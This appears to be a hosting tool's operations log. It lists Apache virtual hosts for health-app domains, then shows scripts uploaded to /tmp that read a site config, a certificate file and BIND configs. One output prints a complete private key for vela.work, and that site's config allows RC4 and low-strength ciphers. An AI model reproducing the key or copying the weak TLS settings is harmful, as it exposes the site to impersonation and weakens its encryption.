                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:20)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-14 12:01:00: 

PUT: /tmp/pkp939943

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/vela_www_work.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-14 12:01:00: 

chmod 755 /tmp/pkp939943; /tmp/pkp939943; rm /tmp/pkp939943

2026-03-14 12:01:00: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vela_www_work.conf	1209

<VirtualHost *:80>
    ServerName	vela.work
#    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_access.log combined
    ErrorLog	/var/log/apache2/vela/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	vela.work
#    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/vela/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/www_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>






2026-03-14 12:01:00: 

PUT: /tmp/pkp455331

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-14 12:01:00: 

chmod 755 /tmp/pkp455331; /tmp/pkp455331; rm /tmp/pkp455331

2026-03-14 12:01:00: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt	2962
56:a7:6e:69:b7:67:db:59:8a:27:d2:60:ce:a9:85:79

-----BEGIN CERTIFICATE-----
MIIDTTCCAjWgAwIBAgIUAWs8soj+LElo5DE0P2tZSUI30QkwDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI2MDMxNDExNDkwNFoXDTI3MDMxNDExNDkwNFow
FDESMBAGA1UEAwwJdmVsYS53b3JrMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAigOjzO4qW6Q2VXeeqPeKTIo2sQVswTsWO26/6Pgcw2Bli/JxHI1gSUs7
SsAlTn4g24JQp3wpiJ2d8s1JUKfoG4Pa4cKfepNPc9rBxiqIwZykkgZrfE37yYTU
GbU7BWJjy2ncjA1fEXVrxt/zhQhxZlyyqcbuouY1F/0tRtJTDE1AEPxghNHuUAjE
WlOgFsPz8rckYQ6NJI88a8+xACCKDto44CobO+DIDzveAvBzJ/WV6Tocy8lMVGHf
6kC3UbtLwaKBXSTZ0fJnYoc/JPyMfg9j92VLmj1tGTLbicTwZDontAX0hLM9LI/Q
32O7q6xg4QkbiSlftYJ9iKF2hfD4vQIDAQABo3AwbjAdBgNVHQ4EFgQUv1fN9p1U
6ZDs6JxbhwsK+/ktg7cwHwYDVR0jBBgwFoAUhZtuDP3NJLXh9dCkAziCV0swc/ww
CwYDVR0PBAQDAgWgMAkGA1UdEwQCMAAwFAYDVR0RBA0wC4IJdmVsYS53b3JrMA0G
CSqGSIb3DQEBCwUAA4IBAQAOlCwzktjfHjrl15azWlGVl3Sd3NWldj9c8/Ux42dM
+PrFzOV5IS1dIFtCB/X1gG6FbIcpTJ3mfQb+QiV840wKwjIQr4O4aoEijlDl+sRb
5x3rUd4b0jkw6ldmPPQwag6hrpnN+8bs2EcLP6rchvSRhFVxbShPIxYv7D00uThN
cK2mtaR0wSwbqBCN0VY7k31YZD1CRLfW07KMkQnA4a7qGT4MrnsxFmLrCJt4REgQ
+2FW1CruOF36yREsaBZ1fun3bEnzPwJZ6wwYqAqYhGVn0oLgziCoMewtT3rO6ugj
Pjui5MMAxvTLKG1UkDVUTaD3vGKzhFA1Ge+RH9O+yW50
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCKA6PM7ipbpDZV
d56o94pMijaxBWzBOxY7br/o+BzDYGWL8nEcjWBJSztKwCVOfiDbglCnfCmInZ3y
zUlQp+gbg9rhwp96k09z2sHGKojBnKSSBmt8TfvJhNQZtTsFYmPLadyMDV8RdWvG
3/OFCHFmXLKpxu6i5jUX/S1G0lMMTUAQ/GCE0e5QCMRaU6AWw/PytyRhDo0kjzxr
z7EAIIoO2jjgKhs74MgPO94C8HMn9ZXpOhzLyUxUYd/qQLdRu0vBooFdJNnR8mdi
hz8k/Ix+D2P3ZUuaPW0ZMtuJxPBkOie0BfSEsz0sj9DfY7urrGDhCRuJKV+1gn2I
oXaF8Pi9AgMBAAECggEADTiICmuONzUl104cLsd3whlDX/XLEz+bw5m6XJDYAIdN
cviIiVmprZu9VE3PxRMkBqMXItQsDmA67zVnHojXHTumThYcvNs7szdzdI5Ch3l/
8lUXGtNFmWpV/xhzTPK96JB9hhUJ1FxRNL3jUA0c/9dFbioWVhiDYYbpPW2McxMX
WKnmknMKfq7CZy8Xh4d0lul4fhssCVzeRPJ5dAHr1a+FI7VCau7UDfrYYvVHuvD1
nTjsb/f4WKLprcuqgmmW8qRfgx0SWhPjpt35qM+MRhmd5MHRLnRfDOg4R+/BiQ0+
PgByc0T2GgDezMru5qT4AMPOahx4if/O9ejyQhyNwQKBgQDAF5ENmsV7QBzp41uJ
6+gmlOkiLXPWsYPhZGAT15nNezWW1WhJpyifwFrzM4T1iYDRDykB28iVQiZplVma
QDLlLJVaEtzx0L+EuT0G85QOAgD0JxFXI0XotcPuFHc4CgRSW0FLBZaXOz/6XIu4
zDI4tSh13XUEYJuqJ/nrwm411QKBgQC37kbmbqwYTZtlb6ZW+l//WCzMoy9MpraN
w3h8rg6IElLhr6TxdgEG61hhPE8U5M9FnoKPxNgBq0JMypzi6rVx6KwtwQAo9PSr
lMDcKtWmyXTJwNgoUoe51gwd0FEqvZf473P8cvv4b8NzHBiIjugQ8G6V7x01ol1J
EodnFMmjSQKBgC7Sz8nYK0Ei3KlqgTq6ZWlaLQXmvHDd7n63f+/2QwhieyqcNIKX
m4BtW/4iVcugS+Up494PG/K+ICzmeePuuDlCx9kf9fl/399TY/vYzgMoG+Fn0INE
Fttlyy+yj2j6kBkfI2hNIWsVxz+Y5XoTVD6cchNg+xApGGi+u93rFABNAoGBAIAE
8gZLO69CvQlSN9XMOOryRWQ9pJtWYjOzvPYS8/xTvKpm5YhG2RomzoIHRwfE5luP
o1JL8QjgWao3UBFEyfu5tbW24tSfAnk2dTIJAmIvUAFpH0qZfuyjBhXuO8Bi7BcR
G4q3wZc+uywwfwb1aKL5pg7nuk3tb75/jgz6VAo5AoGAa/Sm5FAI6U6vqFaL0Q3N
YsIDQCyrcz6WU6lE7al4odBeZBwTp8QH8XYQ6VOJdaDj5mjG2jN0WJCn/T6/BwVw
urcb8SXUj4EKpZXwuYt2iEJTjDBZRsUSBwJE1fllMpu7oOJ4cwvE6SwdcWfQVjda
i+3TJCx3W9lqMoGA1EC0uLE=
-----END PRIVATE KEY-----







2026-03-14 12:01:00: Establishing a connection
2026-03-14 12:01:00: 

PUT: /tmp/pkp337764

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-14 12:01:00: 

runuser -l bind -s /bin/bash -c '/tmp/pkp337764; rm /tmp/pkp337764'

2026-03-14 12:01:00: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
